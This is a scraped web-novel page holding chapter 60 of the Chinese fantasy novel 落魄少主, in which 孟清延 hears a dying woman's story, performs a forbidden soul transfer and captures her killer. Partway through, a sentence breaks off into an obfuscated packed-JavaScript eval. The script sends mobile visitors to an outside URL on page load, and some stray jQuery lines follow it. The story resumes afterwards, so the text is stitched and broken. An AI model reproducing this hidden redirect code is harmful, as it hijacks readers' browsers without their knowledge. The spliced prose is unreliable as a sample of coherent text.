文趣网 > 其他小说 > 落魄少主 > 60. 草药会,危
    “你现在看上去生活的不错。”孟清延没有应她的话,反倒想起上次见面的场景,从前那个病殃殃的小孩现在也长大成人了。

    从前的破布麻衣也换成了衣锦绣袍,六年前孟清延被烦事缠身没注意对方的面貌,现在看上去这小孩已经长开了,个子也长的极高。

    “恐怕要让你失望了。”曲回说,“六年前我病好了以后,想要寻找父母就尝试跑遍各地,却没有对方踪影。于是我想起父母都是练家子。”

    “我以为是自己太弱,他们不想要我了,想把我丢下,于是我也开始修习。我本来想学阵修,谁知天赋不够,改为体修。”

    “师父师兄常夸我勤奋、肯吃苦,可我一点也不高兴,我只想见他们,想见我的亲生父母。”曲回说。

    “之后呢?”孟清延问。

    “之后我在外出游历时结识了好友,后来我学会了不少东西,就离开了宗门,我本以为我们一直会是好搭档,却没想在我离开宗门后第二天,他找上门,向我告白了。”

    “我和他在一起很开心,我总是愁眉苦脸,他就逗我笑,还总说要帮我找父母。”

    “就这样,我们度过了几年,这也是我一生中最快乐的日子了。一年前,他向我提亲,那张锣打鼓的架势仿佛要给我住那破烂房屋的房顶掀飞。”

    “我很高兴,因为我认为他是除了父母对我最好的人。”曲回叹了口气,说,“但他死了,就在一年前我们成亲的前一晚上。”

    “后来我才知道,原来是他大哥动的手。他和我成亲,可能会撼动大哥在家中长子的地位,大哥一心想要继承家业,对敛雪坊早已垂涎欲滴,将他视为眼中钉。”

    “但只有我知道,他死的太冤了。他曾经和我说过,他不愿参与家族纷争,于是选择修炼这条吃苦的路子,这才有幸遇到了我。”

    “他很早就已经想好,他要带我去隐居,不过问家里的事。但他还是错了,他已经死了。”曲回说,“他不想参与家族中的事情,也怕我被卷进这龙潭虎穴。”

    “但我没有如他所愿,他死后我去调查了家族中每个人,最后找到了凶手,他的亲大哥。”

    “他家族没人知道我修炼,于是我很轻易的给他报了仇,我将他的好大哥丢进了湖中,二月的天,他被冻在了水里,家族里的人挖了很久,怎么也救不出来。”

    “后来,我掌管了家族,一边寻找亲人一边处理事物,忙的我闲不下来。甚至连出个门也要遭受限制。”

    “族中长老说我是个女人,要少抛头露面,可笑!这是什么话?我比他这老家伙有能力,有学识,有实力,我凭什么听他的?他有什么资格让我听他的?”

    “什么是男人什么是女人,为什么要因性别而局限,而瞧不起人,我要让他们瞧瞧,在我这里,实力才代表一切。”

    “他不让我抛头露面,我就越要出去,穿着繁琐的衣物,复杂的头饰走在街上,让所有人都看看没有什么是非对错之分,只是他们太爱管闲事。”

    “不过后来我发现,那些衣物太繁重,头饰也是,我就让人给制衣,在敛雪坊推出轻便的衣物,让身体不受衣物束缚。”

    “但女人爱美这不是什么不好的事情,我怕她们忘记自己美好的样子,从去年开始每半月就着华丽衣物在外面逛一圈,好让他们随时能在这两种风格间来回挑选适合自己的。”

    “我想让她们做自己,不受别人的眼色偏见,自己喜欢什么就选择什么,适合自己的才是最好的。”曲回说。

    “想法很好,但你要死了,你还记得凶手是谁吗?”孟清延问。

    “记不太清了,我只记得是个剑修,被我重伤后朝东面跑去,只是我没能换掉他,是我没用。”曲回道,“你不问我为什么来这里吗?”

    “我问你会说吗?”孟清延想了一下,道。

    “我很好奇,六年前,他们是怎么说服你来救我的。”曲回稍稍挪动了下身子,让自己躺的更舒服,“亲人一直下落不明,家族那么又不合时宜的施压。”

    “我在阴虱阁打听到父母的失踪与草药会有关,却没想会是这样的结果。”

    “这不,刚想出来做件心中事,想亲自寻寻父母,却丢了命。如此可悲可笑,真是不知何辜。我死而无憾。”

    “秦行月这个名字我听过,‘脚踏山河弓满弦,一箭射穿帝王言。’我很喜欢她在战场上威风凛凛的模样。这些年,我活的不开心。所以我自愿把身体让给她。”

    “从此世界宽广无垠,人之所及,不必为我曲回挂心,我离了世,便也安息了。”

    “我也能下去陪我的家人了,他们三个,应该还在桥上等我吧。”她猛的咳嗽几声,恍惚间开口,“如果我命中没有你们这些贵人。恐怕终要苟且一生,见不得光。”

    “恐怕我已经死在了那个破烂房屋内,尸体腐败也不会有人发现,这样……挺好的。”

    孟清延又说了一遍,“我可以救你。”

    “父母已死,亲人已忘,我没有什么留恋的了,我不愿再留在世间。”她转头看向孟清延,说,“我早应该给你道声谢,谢谢。”

    “闭上眼”孟清延说,“你把身体借给了我们,我们自然会为你报仇,不会让这具尸体蒙冤。”

    曲回张了张嘴,欲言又止,最后闭上了眼。孟清延将手放在她的手腕上,感受着对方脉搏,说,“根据你的记忆,回想杀害你的那个凶手。”

    【禁术·移魂术】孟清延通过灵脉感受对方脑海中的信息,杂乱的场景中一人几乎被染了整血,横剑格挡身前,曲回脖间已经受伤,用尽最后力气一拳轰向对方,震的后者被砸向树干,抽身飞速离去。

    孟清延微眯起眼,心中有些恼火,杀害曲回那人没佩戴面罩,虽然被血染了满面,但他从对方出手的一招一式间感受到了熟悉的感觉。

    没错,这是这里!

    刚才那招孟清延见过,不过是在六年前。

    那张脸他曾见过,也去调查过,正是六年前将锡玄的消息透露给衍筝楼,导致锡玄身死,清徐覆灭的罪魁祸首——徐安寂。

    而那把剑的剑身上,刻着“四秋悔,歉难消”六个字。

    “阴魂不散”孟清延啧了一声,不满的皱起眉头,想必徐安寂在曲回手下吃了瘪,朝东逃去,却正好碰到了他们,当时孟清延让于锡出手,却没想徐安寂狡诈,被他给逃了。

    再抬头时,孟清延让曲回可以睁眼,对方却没有动静。

    孟清延探了鼻息,对方已经没有气息。

    孟清延尝试了一下,果然,她不愿留在世间,【禁术·移魂术】对她无效。

    从此,人间便没了彤曲回此人。

    见他起身,其余三人也朝他走来。

    他们谈话没有刻意压低声音,所以在场的人都听到了曲回讲述,孟清延把徐安寂的事情告诉了众人,于锡发白的手指攥的生疼。

    “来吧,时间不短了”孟清延在曲回的尸体旁坐下,示意鸿扶桑躺在他身边,“把秦行月换出来。”

    鸿扶桑闭上眼,睁眼时秦行月开口,“直接躺?”

    “嗯,直接躺。”孟清延又给她指了一下,他夹在横躺在地的两人中间,左手曲回,右手秦行月。

    “薛少侠,麻烦你替我护法了”孟清延朝薛思奕勾起嘴角笑了笑,“还有,别忘了帮我照顾好于锡。”

    待秦行月躺下闭上眼,孟清延也跟着放下眼皮,他双手浮在两人身体半空处,使用【禁术·移魂术】开始清扫体内魂魄碎片。

    这是极为耗费时间和精力的过程,孟清延一坐就是半天,直到薛思奕解决第三批试

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17760204|208231||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    图来偷袭的人,于锡等的有些焦躁时孟清延终于动了。

    他双手交叉,将右手移至左手边,左手移至右手边,两手中淡淡的蓝团流动,孟清延将两者混合交融,一团红色流灵便形成在手中。

    孟清延没有睁眼却准确的将红团流灵推送进曲回身体,半晌过后,孟清延缓缓睁开了眼,他擦了额头上的薄汗。

    “接下来半个时辰内要守好秦行月,不出意外的话,等她醒来实力就能恢复到巅峰时期。”孟清延站起身,脚步有些虚浮不稳。

    “你消耗太大了”薛思奕扶住孟清延说,“休息一会。”

    “不用,我们两个换着守岗,等秦行月醒了先把他们送出去。”孟清延朝一棵树下走两步,想在下面坐着守着几人。

    只是他刚走到树根处,却觉察一阵不妙,薛思奕还在他身旁,孟清延猛的抓住了薛思奕的手腕。

    下一瞬,他们脚下浮现金黄色法盘,眨眼间旋转起来,将他们传送到别处。

    于锡见他们在眼前消失登时一惊,赶去一看,法阵却已经消失了,现在偌大的空地上只剩下他,和昏迷不醒的两人。

    好在这时鸿扶桑也睁开了眼,她确认了秦行月,接着看了四周,发现只有于锡一人,问“他们两个去哪了?”

    ——

    孟清延和薛思奕面面相觑,“不会吧?”

    他看着不远处传送阵,附近的墙壁上“北”字陷入了沉思,“我们刚刚又踩到传送阵了?这么倒霉?”

    “孟少侠”薛思奕诚恳的点点头,“你的运气真不错。”

    “这不错的运气给你如何?”孟清延白了他一眼,“还好这次阵法小,于锡和鸿扶桑还留在原地,应该能暂时护着秦行月。”

    “鸿扶桑应该差不多该醒了,你不用担心,他们都不弱,你应该适当”薛思奕的话顿住,孟清延也听到了细微的嘈杂声。

    远处林中,似乎有人。

    孟清延给薛思奕打了手势,示意两人包抄过去,结果他一动,那人立刻奔了出去,孟清延也没打算再隐瞒,喝道,“他要跑!”

    那人速度不快,孟清延能闻到血腥味,看来此人已经受了伤,一个拐弯,孟清延正要拔剑,却见那人即刻停住了脚步,薛思奕从侧方林中跳出,拔刀刺来。

    那人躲闪不及,被薛思奕一刀钉在了地上。“干得好”孟清延过来拍拍他的肩,朝地上那人看去,“是你?”

    “你认识?”薛思奕也朝那人看去,“我是不是在哪见过你?你——是你。”他对孟清延道,“寂卿哥哥,就是他给宦渊透露消息,才导致衍筝灭了清徐。”

    孟清延眼神一下暗了下去,他冷冷的看向徐安寂,这人不仅害锡玄身份暴露,清徐覆灭,杀了曲回,还在他的眼皮底下让于锡受了伤,真是,死不足惜。

    徐安寂被两人注视,直觉不妙,忍着肩膀的刺痛,左手取剑朝孟清延刺去,孟清延抬手将剑击飞,哐当一声落地。

    他朝后淡淡看了一眼,那剑上果然有“四秋悔,歉难消”几个大字。

    “六年前的事情,你还记得吗?”孟清延一把抓住徐安寂的头发,强迫对方看着自己。

    “狗耳不听人言,我可不会像他那样好说话。你到了我的眼前,我便不会让你走。苟且偷来的日子,你活着安生吗,嗯?”他温柔的注视着徐安寂,说,“我把你片了,分给街上的流浪狗怎样?”

    “非人之物怎悟人语”薛思奕嫌恶道,“寂卿哥哥,我不喜欢他,杀了吧。”

    “是你!是你你怎么没死,你怎么还没死!哈哈哈哈哈哈哈,你竟然没死啊!哈哈哈你怎么不去死啊?啊?!”这人已经浑身是血,此时看向薛思奕却癫狂的笑了起来。

    孟清延凝视着徐安寂,面无表情道,“你再敢咒骂他一句,我先让你死。”